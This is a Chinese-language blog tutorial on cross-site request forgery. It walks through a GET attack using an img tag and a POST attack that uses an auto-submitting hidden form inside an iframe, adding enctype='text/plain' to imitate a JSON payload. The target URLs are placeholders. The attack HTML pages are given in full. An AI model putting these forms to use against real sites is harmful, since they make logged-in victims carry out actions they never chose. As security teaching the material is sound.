文章不易,請關注公眾號 毛毛蟲的小小蠟筆,多多支持,謝謝。
CSRF簡介
Cross-site request forgery,跨站請求偽造,通常縮寫為CSRF或者XSRF。
CSRF之get請求攻擊
發起get請求攻擊比較簡單,只需要通過img標籤就可實現。
因為受瀏覽器同源策略限制,因此不能通過ajax來發起get請求。
Demo驗證
代碼:
// 這段代碼是網站B的頁面,只是發起了網站A的請求
// src的值就是網站A下的get請求
<head>
<meta charset="utf-8">
<title>csrf之get請求攻擊</title>
</head>
<body>
<img src="http://xxx">
</body>
效果:
用户打開攻擊者網站B,則會自動發起網站A的get請求,狀態碼200表示成功。
如下截圖所示:
通過抓包查看,請求是帶上了cookie,響應也是正常的。
如下截圖所示:
就是如果在別的網站能發起網站A的請求,網站A就是存在CSRF漏洞了。
只是get請求的危害沒有post請求那麼大,但也不能忽略。
凡是漏洞都要提起十二分精神。
CSRF之post請求攻擊
相比get請求的攻擊,想發起post請求的攻擊,就沒那麼容易實現。
首先我們知道,在網站B是不能通過ajax發起網站A的post請求的,因為有同源策略限制。
但需要注意的是,同源策略只是限制了XMLHttpRequest和Fetch API,而html的form標籤則不受同源策略限制。
同樣,get請求的img標籤也不受同源策略。
1. 測試form表單發起post請求是否能攻擊成功
代碼:
// 這段代碼是網站B的頁面,只是發起了網站A的請求
<head>
<meta charset="utf-8">
<title>csrf-post</title>
</head>
<body>
<form id="form" action="http://xxx" method="POST" target="iframe1">
<input type="text" name="id" value="70">
<input type="text" name="biz_module_id" value="[15]">
<input type="text" name="deploy_path" value="">
<input type="text" name="description" value="test">
<input type="text" name="name" value="config.txt">
<input type="text" name="version" value="1">
</form>
<iframe name="iframe1"></iframe>
<script>
document.getElementById('form').submit()
</script>
</body>
效果:
結論:
很明顯請求是不成功的。
但能把網站A的登錄態帶過去,也算是成功了一部分。
對比下網站A的post請求,發現兩者的請求數據格式不一樣。
網站A的如下圖所示:
分析:
form請求的數據格式跟enctype屬性有關。
默認的是application/x-www-form-urlencoded,此時就是Form Data。
編碼類型總共三種,還有兩種是:multipart/form-data和text/plain。
前者是上傳文件用的,後者用的比較少。
但正是通過text/plain,可以將數據格式改為Request Payload。
2. 再次驗證
代碼:
// 在上面的代碼的基礎上,把form新增enctype屬性
<head>
<meta charset="utf-8">
<title>csrf-post</title>
</head>
<body>
<form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">
<input type="text" name="id" value="70">
<input type="text" name="biz_module_id" value="[15]">
<input type="text" name="deploy_path" value="">
<input type="text" name="description" value="test">
<input type="text" name="name" value="config.txt">
<input type="text" name="version" value="1">
</form>
<iframe name="iframe1"></iframe>
<script>
document.getElementById('form').submit()
</script>
</body>
詳情 請查看:毛毛蟲的小小蠟筆